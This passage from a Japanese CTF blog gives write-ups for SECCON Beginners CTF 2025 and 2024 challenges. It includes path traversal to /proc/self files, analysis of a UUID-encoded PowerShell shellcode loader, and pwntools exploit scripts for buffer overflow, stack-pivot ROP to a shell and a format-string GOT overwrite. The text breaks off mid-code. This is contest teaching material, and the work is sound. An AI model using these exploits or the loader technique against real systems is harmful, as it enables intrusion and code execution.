amaga38のブログ

twitter: @amaga38

SECCON Beginners CTF 2025 Write-up

お久しぶりのCTF。今回は会社のビギナーな方 3人と参加して 86位/3046pt という結果でした。チームメイトはビギナーらしからぬ活躍であれよあれよと問題を解いてくれました。

チーム名:whitecats

Web

 skipping (beginner, 737 solve, 100pt)

問題文

/flagへのアクセスは拒否されます。curlなどを用いて工夫してアクセスして下さい。

curl http://skipping.challenges.beginners.seccon.jp:33455

配布されたソースコードの index.js

var express = require("express");
var app = express();

const FLAG = process.env.FLAG;
const PORT = process.env.PORT;

app.get("/", (req, res, next) => {
    return res.send('FLAG をどうぞ: <a href="/flag">/flag</a>');
});

const check = (req, res, next) => {
    if (!req.headers['x-ctf4b-request'] || req.headers['x-ctf4b-request'] !== 'ctf4b') {
        return res.status(403).send('403 Forbidden');
    }
    next();
}

app.get("/flag", check, (req, res, next) => {
    return res.send(FLAG);
})

app.listen(PORT, () => {
    console.log(`Server is running on port ${PORT}`);
});

チェックされている内容をみると、HTTP リクエストのヘッダーに x-ctf4b-request: ctf4b をつければいけそう

$ curl -v http://skipping.challenges.beginners.seccon.jp:33455/flag --header 'x-ctf4b-request: ctf4b'
*   Trying 153.125.128.194:33455...
* Connected to skipping.challenges.beginners.seccon.jp (153.125.128.194) port 33455 (#0)
> GET /flag HTTP/1.1
> Host: skipping.challenges.beginners.seccon.jp:33455
> User-Agent: curl/7.81.0
> Accept: */*
> x-ctf4b-request: ctf4b
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.29.0
< Date: Sat, 26 Jul 2025 13:14:42 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 33
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"21-yD09GLYnLK7z1sHMWHIMg/8bJ/o"
< 
* Connection #0 to host skipping.challenges.beginners.seccon.jp left intact
ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}

Flag: ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}

log-viewer (easy, 621 solve, 100pt)

ログをウェブブラウザで表示できるアプリケーションを作成しました。 これで定期的に集約してきているログを簡単に確認できます。 秘密の情報も安全にアプリに渡せているはずです...

http://log-viewer.challenges.beginners.seccon.jp:9999

access.log と debug.log を表示するアプリ。debug.log を表示してみる。

以下の部分でディレクトリトラバーサル LFI が成功してそう(../../proc/self/envion)。

2025/06/21 10:42:24 INFO handlerFunc file="../.env"
2025/06/21 12:42:24 ERROR File not available file=../.env
2025/06/21 12:43:53 INFO handlerFunc file="../../proc/self/envion"
2025/06/21 10:43:59 INFO handlerFunc file=""

実際に試してみると、../../proc/self/envion はアクセス不可で、../../proc/self/environ が正しかった。アクセスして表示された内容(↓)

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=1c1251ffb616TZ=Asia/TokyoHOME=/

debug.log で以下の記載があったので、

2025/06/21 10:40:02 DEBUG Parsed command line arguments flag=ctf4b{this_is_dummy_flag} port=8000

コマンドラインをみてみるとフラグが取れた。

http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../proc/self/cmdline にアクセスして表示された内容

/usr/local/bin/log-viewer-port=9999-flag=ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}

Flag: ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}

Reversing

code_injection (hard, 88 solve, 441pt)

問題文

ある条件のときにフラグが表示されるみたい。

UUID の一覧が記載されたテキスト(sh.txt)とPowershellスクリプト(ps_z.ps1)が配布ファイル

56525153-4157-4150-5155-4889e54883e4
ec8348f0-6530-8b48-0425-60000000488b
<省略>
58415941-5e5f-595a-5bc3-000000000000

ps_z.ps1

add-type '
using System;
using System.Runtime.InteropServices;

[StructLayout( LayoutKind.Sequential )]
public static class Kernel32{
    [DllImport( "kernel32.dll" )]
    public static extern IntPtr VirtualAlloc( IntPtr address, int size, int AllocType, int protect );
    [DllImport( "kernel32.dll" )]
    public static extern bool EnumSystemLocalesA( IntPtr buf, uint flags );
}

public static class Rpcrt4{
    [DllImport( "rpcrt4.dll" )]
    public static extern void UuidFromStringA( string uuid, IntPtr buf );
}';

$workdir = ( Get-Location ).Path;
[System.IO.Directory]::SetCurrentDirectory( $workdir );
$lines = [System.IO.File]::ReadAllLines( ".\sh.txt" );
$buf = [Kernel32]::VirtualAlloc( [IntPtr]::Zero, $lines.Length * 16, 0x1000, 0x40 );
$proc = $buf;
foreach( $line in $lines ){
    $tmp = [Rpcrt4]::UuidFromStringA( $line, $buf );
    $buf = [IntPtr]( $buf.ToInt64() + 16 )
}
$tmp = [Kernel32]::EnumSystemLocalesA( $proc, 0 );

powershell の内容を見てみるとUUID をデコードして、シェルコードを作成。EnumSystemLocalesA でコードインジェクションしている形? $proc 変数の内容をダンプして、IDA で逆アセンブルしたもの(↓)

seg000:0000000000000000 seg000          segment byte public 'CODE' use64
seg000:0000000000000000                 assume cs:seg000
seg000:0000000000000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000000000000000                 push    rbx
seg000:0000000000000001                 push    rcx
seg000:0000000000000002                 push    rdx
seg000:0000000000000003                 push    rsi
seg000:0000000000000004                 push    rdi
seg000:0000000000000005                 push    r8
seg000:0000000000000007                 push    r9
seg000:0000000000000009                 push    rbp
seg000:000000000000000A                 mov     rbp, rsp
seg000:000000000000000D                 and     rsp, 0FFFFFFFFFFFFFFF0h
seg000:0000000000000011                 sub     rsp, 30h
seg000:0000000000000015                 mov     rax, qword ptr gs:loc_60
seg000:000000000000001E                 mov     rax, [rax+20h]
seg000:0000000000000022                 mov     rsi, [rax+80h]
seg000:0000000000000029
seg000:0000000000000029 loc_29:                                 ; CODE XREF: seg000:0000000000000064↓j
seg000:0000000000000029                 cmp     dword ptr [rsi], 0
seg000:000000000000002C                 jz      loc_1D9
seg000:0000000000000032                 cmp     dword ptr [rsi], 540043h
seg000:0000000000000038                 jnz     short loc_60
seg000:000000000000003A                 cmp     dword ptr [rsi+4], 340046h
seg000:0000000000000041                 jnz     short loc_60
seg000:0000000000000043                 cmp     dword ptr [rsi+8], 3D0042h
seg000:000000000000004A                 jnz     short loc_60
seg000:000000000000004C                 cmp     dword ptr [rsi+0Ch], 31h ; '1'
seg000:0000000000000050                 jnz     short loc_60
seg000:0000000000000052                 mov     rbx, [rsi]
seg000:0000000000000055                 shl     rbx, 8
seg000:0000000000000059                 mov     [rsp+20h], rbx
seg000:000000000000005E                 jmp     short loc_66
seg000:0000000000000060 ; ---------------------------------------------------------------------------
seg000:0000000000000060
seg000:0000000000000060 loc_60:                                 ; CODE XREF: seg000:0000000000000038↑j
seg000:0000000000000060                                         ; seg000:0000000000000041↑j ...
seg000:0000000000000060                 add     rsi, 2
seg000:0000000000000064                 jmp     short loc_29
seg000:0000000000000066 ; ---------------------------------------------------------------------------
seg000:0000000000000066
seg000:0000000000000066 loc_66:                                 ; CODE XREF: seg000:000000000000005E↑j
seg000:0000000000000066                 mov     rax, qword ptr gs:loc_60
seg000:000000000000006F                 mov     rax, [rax+18h]
seg000:0000000000000073                 mov     rax, [rax+20h]
seg000:0000000000000077                 mov     rax, [rax]
seg000:000000000000007A                 mov     rdi, [rax+50h]
seg000:000000000000007E                 mov     rbx, [rdi]
seg000:0000000000000081                 mov     rcx, 20002000200020h
seg000:000000000000008B                 or      rbx, rcx
seg000:000000000000008E                 shl     rbx, 8
seg000:0000000000000092                 xor     rbx, [rsp+20h]
seg000:0000000000000097                 mov     rax, [rax]
seg000:000000000000009A                 mov     rdi, [rax+50h]
seg000:000000000000009E                 add     rbx, [rdi]
seg000:00000000000000A1                 mov     rcx, 20002000200020h
seg000:00000000000000AB                 or      rbx, rcx
seg000:00000000000000AE                 mov     [rsp+20h], rbx
seg000:00000000000000B3                 mov     rbx, [rax+20h]
seg000:00000000000000B7                 mov     eax, [rbx+3Ch]
seg000:00000000000000BA                 add     rax, rbx
seg000:00000000000000BD                 mov     edi, [rax+88h]
seg000:00000000000000C3                 add     rdi, rbx
seg000:00000000000000C6                 mov     esi, [rdi+20h]
seg000:00000000000000C9                 add     rsi, rbx
seg000:00000000000000CC                 mov     rdx, 2A087D454E564005h
seg000:00000000000000D6                 mov     [rsp+10h], rdx
seg000:00000000000000DB                 xor     rcx, rcx
seg000:00000000000000DE
seg000:00000000000000DE loc_DE:                                 ; CODE XREF: seg000:0000000000000103↓j
seg000:00000000000000DE                 mov     edx, [rsi+rcx*4]
seg000:00000000000000E1                 add     rdx, rbx
seg000:00000000000000E4                 cmp     dword ptr [rdx], 53746547h
seg000:00000000000000EA                 jnz     short loc_100
seg000:00000000000000EC                 cmp     dword ptr [rdx+4], 61486474h
seg000:00000000000000F3                 jnz     short loc_100
seg000:00000000000000F5                 cmp     dword ptr [rdx+8], 656C646Eh
seg000:00000000000000FC                 jnz     short loc_100
seg000:00000000000000FE                 jmp     short loc_105
seg000:0000000000000100 ; ---------------------------------------------------------------------------
seg000:0000000000000100
seg000:0000000000000100 loc_100:                                ; CODE XREF: seg000:00000000000000EA↑j
seg000:0000000000000100                                         ; seg000:00000000000000F3↑j ...
seg000:0000000000000100                 inc     rcx
seg000:0000000000000103                 jmp     short loc_DE
seg000:0000000000000105 ; ---------------------------------------------------------------------------
seg000:0000000000000105
seg000:0000000000000105 loc_105:                                ; CODE XREF: seg000:00000000000000FE↑j
seg000:0000000000000105                 mov     esi, [rdi+24h]
seg000:0000000000000108                 add     rsi, rbx
seg000:000000000000010B                 mov     cx, [rsi+rcx*2]
seg000:000000000000010F                 mov     esi, [rdi+1Ch]
seg000:0000000000000112                 add     rsi, rbx
seg000:0000000000000115                 mov     eax, [rsi+rcx*4]
seg000:0000000000000118                 add     rax, rbx
seg000:000000000000011B                 mov     rdx, 52134041503A405Bh
seg000:0000000000000125                 mov     [rsp+18h], rdx
seg000:000000000000012A                 mov     ecx, 0FFFFFFF5h
seg000:000000000000012F                 call    rax
seg000:0000000000000131                 mov     r8, rax
seg000:0000000000000134                 mov     rdx, 6B09591014035908h
seg000:000000000000013E                 mov     [rsp], rdx
seg000:0000000000000142                 mov     esi, [rdi+20h]
seg000:0000000000000145                 add     rsi, rbx
seg000:0000000000000148                 xor     rcx, rcx
seg000:000000000000014B
seg000:000000000000014B loc_14B:                                ; CODE XREF: seg000:0000000000000170↓j
seg000:000000000000014B                 mov     edx, [rsi+rcx*4]
seg000:000000000000014E                 add     rdx, rbx
seg000:0000000000000151                 cmp     dword ptr [rdx], 74697257h
seg000:0000000000000157                 jnz     short loc_16D
seg000:0000000000000159                 cmp     dword ptr [rdx+4], 6E6F4365h
seg000:0000000000000160                 jnz     short loc_16D
seg000:0000000000000162                 cmp     dword ptr [rdx+8], 656C6F73h
seg000:0000000000000169                 jnz     short loc_16D
seg000:000000000000016B                 jmp     short loc_172
seg000:000000000000016D ; ---------------------------------------------------------------------------
seg000:000000000000016D
seg000:000000000000016D loc_16D:                                ; CODE XREF: seg000:0000000000000157↑j
seg000:000000000000016D                                         ; seg000:0000000000000160↑j ...
seg000:000000000000016D                 inc     rcx
seg000:0000000000000170                 jmp     short loc_14B
seg000:0000000000000172 ; ---------------------------------------------------------------------------
seg000:0000000000000172
seg000:0000000000000172 loc_172:                                ; CODE XREF: seg000:000000000000016B↑j
seg000:0000000000000172                 mov     esi, [rdi+24h]
seg000:0000000000000175                 add     rsi, rbx
seg000:0000000000000178                 mov     cx, [rsi+rcx*2]
seg000:000000000000017C                 mov     rdx, 681C13044E56721Fh
seg000:0000000000000186                 mov     [rsp+8], rdx
seg000:000000000000018B                 mov     esi, [rdi+1Ch]
seg000:000000000000018E                 add     rsi, rbx
seg000:0000000000000191                 mov     eax, [rsi+rcx*4]
seg000:0000000000000194                 add     rax, rbx
seg000:0000000000000197                 sub     rsp, 30h
seg000:000000000000019B                 lea     rdx, [rsp+30h]
seg000:00000000000001A0                 xor     rcx, rcx
seg000:00000000000001A3
seg000:00000000000001A3 loc_1A3:                                ; CODE XREF: seg000:00000000000001B9↓j
seg000:00000000000001A3                 cmp     rcx, 4
seg000:00000000000001A7                 jz      short loc_1BB
seg000:00000000000001A9                 mov     r9, [rsp+50h]
seg000:00000000000001AE                 xor     r9, [rdx+rcx*8]
seg000:00000000000001B2                 mov     [rdx+rcx*8], r9
seg000:00000000000001B6                 inc     rcx
seg000:00000000000001B9                 jmp     short loc_1A3
seg000:00000000000001BB ; ---------------------------------------------------------------------------
seg000:00000000000001BB
seg000:00000000000001BB loc_1BB:                                ; CODE XREF: seg000:00000000000001A7↑j
seg000:00000000000001BB                 mov     rcx, r8
seg000:00000000000001BE                 mov     r8, 20h ; ' '
seg000:00000000000001C5                 xor     r9, r9
seg000:00000000000001C8                 mov     qword ptr [rsp+20h], 0
seg000:00000000000001D1                 call    rax
seg000:00000000000001D3                 add     rsp, 30h
seg000:00000000000001D7                 jmp     short $+2
seg000:00000000000001D9 ; ---------------------------------------------------------------------------
seg000:00000000000001D9
seg000:00000000000001D9 loc_1D9:                                ; CODE XREF: seg000:000000000000002C↑j
seg000:00000000000001D9                                         ; seg000:00000000000001D7↑j
seg000:00000000000001D9                 xor     rax, rax
seg000:00000000000001DC                 mov     rsp, rbp
seg000:00000000000001DF                 pop     rbp
seg000:00000000000001E0                 pop     r9
seg000:00000000000001E2                 pop     r8
seg000:00000000000001E4                 pop     rdi
seg000:00000000000001E5                 pop     rsi
seg000:00000000000001E6                 pop     rdx
seg000:00000000000001E7                 pop     rcx
seg000:00000000000001E8                 pop     rbx
seg000:00000000000001E9                 retn
seg000:00000000000001E9 ; ---------------------------------------------------------------------------
seg000:00000000000001EA                 db    0
seg000:00000000000001EB                 db    0
seg000:00000000000001EC                 db    0
seg000:00000000000001ED                 db    0
seg000:00000000000001EE                 db    0
seg000:00000000000001EF                 db    0
seg000:00000000000001EF seg000          ends

以下の箇所が CTF4B=1 という値をチェックしている。rsi は PEB の情報なので、環境変数を試しに設定してみる。

seg000:0000000000000015                 mov     rax, qword ptr gs:loc_60
seg000:000000000000001E                 mov     rax, [rax+20h]
seg000:0000000000000022                 mov     rsi, [rax+80h]
seg000:0000000000000029
seg000:0000000000000029 loc_29:                                 ; CODE XREF: seg000:0000000000000064↓j
seg000:0000000000000029                 cmp     dword ptr [rsi], 0
seg000:000000000000002C                 jz      loc_1D9
seg000:0000000000000032                 cmp     dword ptr [rsi], 540043h ; CT
seg000:0000000000000038                 jnz     short loc_60
seg000:000000000000003A                 cmp     dword ptr [rsi+4], 340046h ; F4
seg000:0000000000000041                 jnz     short loc_60
seg000:0000000000000043                 cmp     dword ptr [rsi+8], 3D0042h ; B=
seg000:000000000000004A                 jnz     short loc_60
seg000:000000000000004C                 cmp     dword ptr [rsi+0Ch], 31h ; '1'
seg000:0000000000000050                 jnz     short loc_60
seg000:0000000000000052                 mov     rbx, [rsi]

Powershell環境変数を設定して、スクリプトを実行してみると、フラグが表示された。

PS > $env:CTF4B="1"
PS > powershell -ExecutionPolicy Bypass -File ps_z.ps1
ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}

Flag: ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}

Pwnable

pet_name (beginner, 586 solve, 100pt)

ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。

nc pet-name.challenges.beginners.seccon.jp 9080

配布されたソースコード

int main() {
    init();

    char pet_name[32] = {0};
    char path[128] = "/home/pwn/pet_sound.txt";

    printf("Your pet name?: ");
    scanf("%s", pet_name);

    FILE *fp = fopen(path, "r");
    if (fp) {
        char buf[256] = {0};
        if (fgets(buf, sizeof(buf), fp) != NULL) {
            printf("%s sound: %s\n", pet_name, buf);
        } else {
            puts("Failed to read the file.");
        }
        fclose(fp);
    } else {
        printf("File not found: %s\n", path);
    }
    return 0;
}

scanf で pet_name 変数に好きなだけデータを書き込めるので、path 変数を書き換えてフラグが書かれているファイルを読み込むようにする。Dockerfile で /home/pwn/flag.txt に配置されている。

$ python -c "print('A'*32, end='');print('/home/pwn/flag.txt')" | nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}

Flag: ctf4b{3xp1oit_pet_n4me!}

pet_sound (easy, 410 solve, 100pt)

ペットに鳴き声を教えましょう。

nc pet-sound.challenges.beginners.seccon.jp 9090

配布されたソースコード

struct Pet;
void speak_flag(struct Pet *p);
void speak_sound(struct Pet *p);
void visualize_heap(struct Pet *a, struct Pet *b);

struct Pet {
    void (*speak)(struct Pet *p);
    char sound[32];
};

int main() {
    struct Pet *pet_A, *pet_B;

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);

    puts("--- Pet Hijacking ---");
    puts("Your mission: Make Pet speak the secret FLAG!\n");
    printf("[hint] The secret action 'speak_flag' is at: %p\n", speak_flag);

    pet_A = malloc(sizeof(struct Pet));
    pet_B = malloc(sizeof(struct Pet));

    pet_A->speak = speak_sound;
    strcpy(pet_A->sound, "wan...");
    pet_B->speak = speak_sound;
    strcpy(pet_B->sound, "wan...");

    printf("[*] Pet A is allocated at: %p\n", pet_A);
    printf("[*] Pet B is allocated at: %p\n", pet_B);
    
    puts("\n[Initial Heap State]");
    visualize_heap(pet_A, pet_B);

    printf("\n");
    printf("Input a new cry for Pet A > ");
    read(0, pet_A->sound, 0x32);

    puts("\n[Heap State After Input]");
    visualize_heap(pet_A, pet_B);

    pet_A->speak(pet_A);
    pet_B->speak(pet_B);

    free(pet_A);
    free(pet_B);
    return 0;
}

void speak_flag(struct Pet *p) {
    char flag[64] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        puts("\nPet seems to want to say something, but can't find 'flag.txt'...");
        return;
    }
    fgets(flag, sizeof(flag), f);
    fclose(f);
    flag[strcspn(flag, "\n")] = '\0';

    puts("\n**********************************************");
    puts("* Pet suddenly starts speaking flag.txt...!? *");
    printf("* Pet: \"%s\" *\n", flag);
    puts("**********************************************");
    exit(0);
}

void speak_sound(struct Pet *p) {
    printf("Pet says: %s\n", p->sound);
}

void visualize_heap(struct Pet *a, struct Pet *b) {
    unsigned long long *ptr = (unsigned long long *)a;
    puts("\n--- Heap Layout Visualization ---");
    for (int i = 0; i < 12; i++, ptr++) {
        printf("0x%016llx: 0x%016llx", (unsigned long long)ptr, *ptr);
        if (ptr == (unsigned long long *)&a->speak) printf(" <-- pet_A->speak");
        if (ptr == (unsigned long long *)a->sound)   printf(" <-- pet_A->sound");
        if (ptr == (unsigned long long *)&b->speak) printf(" <-- pet_B->speak (TARGET!)");
        if (ptr == (unsigned long long *)b->sound)   printf(" <-- pet_B->sound");
        puts("");
    }
    puts("---------------------------------");
}

ヒープを表示してくれる関数 visualize_heap にヒントとして TARGET と表示してくれている。構造体の関数ポインタの変数 speak を書き換えて、speak_flag を呼び出すようにすればよさそう。

Pet_A の sound 変数に read したデータを書き込むけれど、32バイトのバッファに対して、0x32 バイトを読み込むので、ヒープ上でオーバーフローする。Pet_A と Pet_B で連続した領域が確保されるので、Pet_B の speak 変数を上書きするようにデータを送る。speak_flag のアドレスは、実行ごとに変わるけれど、プログラムが出力してくれるので、その値を使う。

ソルバー

from pwn import *

srv = 'pet-sound.challenges.beginners.seccon.jp'
#srv = '127.0.0.1'
port = 9090
bin = ELF('./chall')
context.binary = bin
context.log_level = 'debug'

conn = remote(srv, port)

data = conn.recvuntil("Input a new cry for Pet A > ")

mark = b"'speak_flag' is at: "
idx = data.find(mark)
speak_flag_addr = data[idx + len(mark): idx + len(mark) + 14]

payload = b'A' * 0x28 # buf 埋め
payload += p64(int(speak_flag_addr[-12:], 16))

conn.sendline(payload)
data = conn.recvall()

Flag: ctf4b{y0u_expl0it_0v3rfl0w!}

pivot4b (medium, 117 solve, 394pt)

スタックはあなたが創り出すものです。

nc pivot4b.challenges.beginners.seccon.jp 12300

stack pivot の問題

ソースコード

void gift_set_first_arg() {
    asm volatile("pop %rdi");
    asm volatile("ret");
}

void gift_call_system() {
    system("echo \"Here's your gift!\"");
}

int main() {
    char message[0x30];

    printf("Welcome to the pivot game!\n");
    printf("Here's the pointer to message: %p\n", message);

    printf("> ");
    read(0, message, sizeof(message) + 0x10);

    printf("Message: %s\n", message);

    return 0;
}

main 関数の message 変数への read が 0x10 バイト多くデータを書き込める(BoF)。ローカル変数は、message だけなので、0x10 分で saved ebp と return アドレスを上書きできる。saved rbp を message 変数のアドレスにして、return アドレスを leave; ret ガジェットに書き換える。これにより、message 変数に stack pivot できて、rop を仕込める。

payload の構成

0x00: pop rdi; ret ガジェットのアドレス(gift_set_first_arg にある)
0x08: pop rdi で仕込む '/bin/sh' へのアドレス(message 変数の後ろの方に置いて、そこのアドレスを渡す)
0x10: system のアドレス(plt 上のアドレス)
0x18: b'/bin/sh\x00'
0x20: AAAA...
:
0x30: Saved RBP → messaeg 変数のアドレス - 0x8(※)
0x38: return addr → leave; ret ガジェットのアドレス

(※) leave 命令は、mov rsp, rbp; pop rbp と同等なので、leave; ret ガジェットで pop rbp される無駄なデータ分マイナス 0x8 する。

ソルバー

from pwn import *

srv = 'pivot4b.challenges.beginners.seccon.jp'
#srv = '127.0.0.1'
port = 12300
bin = ELF('./chall')
context.binary = bin
context.log_level = 'debug'

conn = remote(srv, port)

data = conn.recvuntil("> ")

mark = b"pointer to message: "
idx = data.find(mark)
idx2 = data.find(b'\n', idx)
msg_addr = int(data[idx + len(mark): idx2], 16)

# 0000000000401040 <system@plt>:
#   401040:    ff 25 c2 2f 00 00       jmp    QWORD PTR [rip+0x2fc2]        # 404008 <system@GLIBC_2.2.5>
#   401046:    68 01 00 00 00          push   0x1
#   40104b:    e9 d0 ff ff ff          jmp    401020 <_init+0x20>


# 0x401211: leave ; ret ; (1 found)
#
# $ objdump -t chall | grep ' F '
# :
# 0000000000401176 g     F .text   0000000000000009              gift_set_first_arg

system_addr = 0x401040
binsh_addr = msg_addr + (0x8 * 3)

ropchain = b''
ropchain += p64(bin.symbols['gift_set_first_arg'] + 4) # pop rdi; ret;
ropchain += p64(binsh_addr) # rdi
ropchain += p64(system_addr)
ropchain += b'/bin/sh\x00'

payload = ropchain
payload += b'A' * (0x30 - len(ropchain))
payload += p64(msg_addr - 8) # Saved RBP 書き換え → msg
payload += p64(0x401211) # return addr

conn.sendline(payload)
data = conn.recvuntil(b'Message:')
conn.interactive()

Flag: ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}

以上です!今年も楽しませて頂きました。開催ありがとうございました!!

SECCON Beginners CTF 2024 Write-up

久しぶりに時間を取れたので2年ぶりに参加しました。hamayanhamayan と2人で参加して 20位/1613pt という結果でした。hamayanhamayan は、Web問全完!!

チーム名:whitecats

チームメイトの Write-up:SECCON Beginners CTF 2024 Writeups - はまやんはまやんはまやん

Pwnable

 simpleoverflow

Cでは、0がFalse、それ以外がTrueとして扱われます。

nc simpleoverflow.beginners.seccon.games 9000

simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32

Dockerfile と compose.yaml が提供されるので、実行した際の動きは↓のような感じ

$ docker-compose up -d
$ docker ps
CONTAINER ID   IMAGE                     COMMAND       CREATED          STATUS         PORTS                    NAMES
0acba4ab2b99   simpleoverflow-overflow   "/jail/run"   16 minutes ago   Up 3 seconds   0.0.0.0:9000->5000/tcp   simpleoverflow-overflow-1
$ nc 127.0.0.1 9000
name:seccon
Hello, seccon

You are not admin. bye

ソースファイルを確認

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

10 bytes の buf 変数に対して、read は 0x16 bytes まで受け付けるので、バッファオーバーフローする。オーバーフローすると if 文でフラグとして利用している is_admin 変数を上書きしてしまう。is_admin の値が 0 以外になれば、OK なので、適当な文字列を 11文字書き込めばOKそう。

試した結果

nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaW4�
ctf4b{0n_y0ur_m4rk}

Flag: ctf4b{0n_y0ur_m4rk}

simpleoverwrite

スタックとリターンアドレスを確認しましょう

nc simpleoverwrite.beginners.seccon.games 9001

simpleoverwrite.tar.gz 98f8e4f182185e9ed40e195c1921561eba79494b

void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

buf[10] に対して read で最大 32バイト読み込むのでスタックバッファオーバーフローする。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

CANARY は無効なので、シンプルにバッファオーバーフローでリターンアドレスをオーバライトする

from pwn import *

srv = 'simpleoverwrite.beginners.seccon.games'
#srv = '127.0.0.1'
port = 9001
bin = ELF('./chall')

conn = remote(srv, port)

payload = b'A' * 10
payload += b'B' * 8

addr_win = 0x401186
payload += p64(addr_win)

conn.sendline(payload)
output = conn.recvrepeat(5000)
print(output)

Flag: ctf4b{B3l13v3_4g41n}

pure-and-easy

nc pure-and-easy.beginners.seccon.games 9000

pure-and-easy.tar.gz 014306641136ca8c1f9af367d68a1f5ee2f2c083

問題のソース。read して buf をそのまま printf しているので Format String Bug がある。

int main() {
  char buf[0x100] = {0};
  printf("> ");
  read(0, buf, 0xff);
  printf(buf);
  exit(0);
}

void win() {
  char buf[0x50];
  FILE *fp = fopen("./flag.txt", "r");
  fgets(buf, 0x50, fp);
  puts(buf);
}

RELRO もなかったので、GOT を書き換えられる。main 関数はリターンせずに exit を呼び出しているので、exit のGOTアドレスを win関数に書き換える。

ソルバー

from pwn import *

srv = 'pure-and-easy.beginners.seccon.games'
#srv = '127.0.0.1'
port = 9000
bin = ELF('./chall')

'''
$ checksec chall
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
'''


conn = remote(srv, port)

addr_main = 0x4011a6
addr_win  = 0x401341
addr_exit_got = bin.got['exit']
addr_bss = 0x404060

print('{:02x}'.format(addr_exit_got))

'''
$ readelf -r chall

Relocation section '.rela.dyn' at offset 0x610 contains 4 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000403fd8  000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403fe0  000800000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000404060  000c00000005 R_X86_64_COPY     0000000000404060 stdout@GLIBC_2.2.5 + 0
000000404070  000d00000005 R_X86_64_COPY     0000000000404070 stdin@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x670 contains 9 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000404000  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404008  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000404010  000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000404018  000500000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000404020  000600000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000404028  000700000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0
000000404030  000900000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000404038  000a00000007 R_X86_64_JUMP_SLO 0000000000000000 fopen@GLIBC_2.2.5 + 0
000000404040  000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
'''


# GOT overwrite
# 下位2バイトを書き換え
win0 = addr_win & 0xff
win1 = (addr_win & 0xff00) >> 8
print(hex(win0), hex(win1))

ow0 = win0
ow1 = 0x100 - ow0 + win1
print(hex(ow0), hex(ow1), hex(ow0+ow1))

# format string bug
# offset: %6hhn~
payload = f'%{ow0}c%9$hhn'.encode('utf8')
payload += f'%{ow1}c%10$hhn'.encode('utf8')
payload += b'Z' * (8 - len(payload) % 8)

payload += p64(addr_exit_got)
payload += p64(addr_exit_got + 1)


conn.sendline(payload)
print('send:', payload)

output = conn.recvuntil(b'> ')
print('recv:', output)

output = conn.recvrepeat(5000)
print('recv', output)

実行結果

$ python3 solve.py
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pure-and-easy.beginners.seccon.games on port 9000: Done
404040
0x41 0x13
0x41 0xd2 0x113
send: b'%65c%9$hhn%210c%10$hhnZZ@@@\x00\x00\x00\x00\x00A@@\x00\x00\x00\x00\x00'
recv: b'> '
recv b'                                                                \x90                                                                                                                                                                                                                 \xffZZ@@@ctf4b{Y0u_R34lly_G0T_M3}\n\nctf4b{Y0u_R34lly_G0T_M3}\n\n'

Flag: ctf4b{Y0u_R34lly_G0T_M3}

Misc

getRank

https://getrank.beginners.seccon.games

getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16

数字を当てるゲームで、スコアが1位になるとフラグを貰える

サーバ側のソース

const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];

 :

function chall(input: string): Res {
  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
